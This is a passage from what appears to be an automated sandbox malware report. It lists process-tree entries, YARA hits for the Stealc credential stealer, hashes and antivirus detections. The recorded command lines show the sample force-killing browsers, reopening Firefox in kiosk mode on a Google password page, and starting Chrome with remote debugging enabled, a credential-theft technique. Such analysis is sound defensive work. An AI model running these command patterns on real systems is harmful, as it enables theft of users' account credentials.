00000009.00000003.2688360776.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2685660579.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2688510791.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2688046289.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2685819613.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2690743113.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2686546843.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2692391069.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2692056970.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2688928457.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2629911709.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:21:34
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe"
Imagebase:	0xf30000
File size:	1'825'280 bytes
MD5 hash:	C39EB549A7DC6F9F6EEABABCAEA602DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2637178904.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2688574615.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2689206036.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:21:38
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"
Imagebase:	0x810000
File size:	1'866'240 bytes
MD5 hash:	B70B1671BAA5D6CAAACE25D7DDCD78FE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:21:42
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"
Imagebase:	0xb50000
File size:	922'112 bytes
MD5 hash:	013C3FB391228F0AE96123AAFD47F414
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:21:42
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:21:42
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:21:44
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:21:44
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:21:44
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:21:44
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:21:45
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:21:45
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:21:45
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:21:45
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:21:45
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:21:45
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:21:45
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:21:46
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"
Imagebase:	0x810000
File size:	1'866'240 bytes
MD5 hash:	B70B1671BAA5D6CAAACE25D7DDCD78FE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:21:46
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {860ecd33-e110-4052-ae68-4e078883f33a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 234fd670d10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:21:50
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3252 -parentBuildID 20230927232528 -prefsHandle 3424 -prefMapHandle 4020 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {50c83aef-67bf-4254-8691-55a698a37a6b} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 2348fa9a310 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:21:52
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:21:53
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe"
Imagebase:	0xf30000
File size:	2'726'400 bytes
MD5 hash:	3A635FEF14102B754410ECE391685B93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:21:54
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe"
Imagebase:	0xf30000
File size:	1'825'280 bytes
MD5 hash:	C39EB549A7DC6F9F6EEABABCAEA602DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2938363540.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2949459984.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.2849604282.00000000057C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:21:55
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2436,i,8770856731178862040,3094494008038900450,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:22:03
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"
Imagebase:	0xb50000
File size:	922'112 bytes
MD5 hash:	013C3FB391228F0AE96123AAFD47F414
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:22:03
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:22:03
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:22:12
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe"
Imagebase:	0xf30000
File size:	2'726'400 bytes
MD5 hash:	3A635FEF14102B754410ECE391685B93
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:22:16
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	21:22:17
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1984,i,8577691366813222456,478156052820439559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	21:22:19
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	21:22:19
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:22:20
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6eef20000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	21:22:21
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2452,i,10496958904193057390,10329293642163972138,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	21:22:21
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	21:22:21
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	21:22:22
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	21:22:23
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	21:22:23
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	21:22:23
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	21:22:24
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	21:22:24
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff7699e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	21:22:25
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	21:22:26
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2012,i,14918439842847781835,4316525183382803892,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	21:22:34
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	21:22:34
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"
Imagebase:	0xb50000
File size:	922'112 bytes
MD5 hash:	013C3FB391228F0AE96123AAFD47F414
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	21:22:35
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	21:22:35
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	21:22:35
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1964,i,2156908519176632186,6185840840257253882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	21:22:37
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	21:22:38
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	21:22:38
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x8c0000
File size:	74'240 bytes
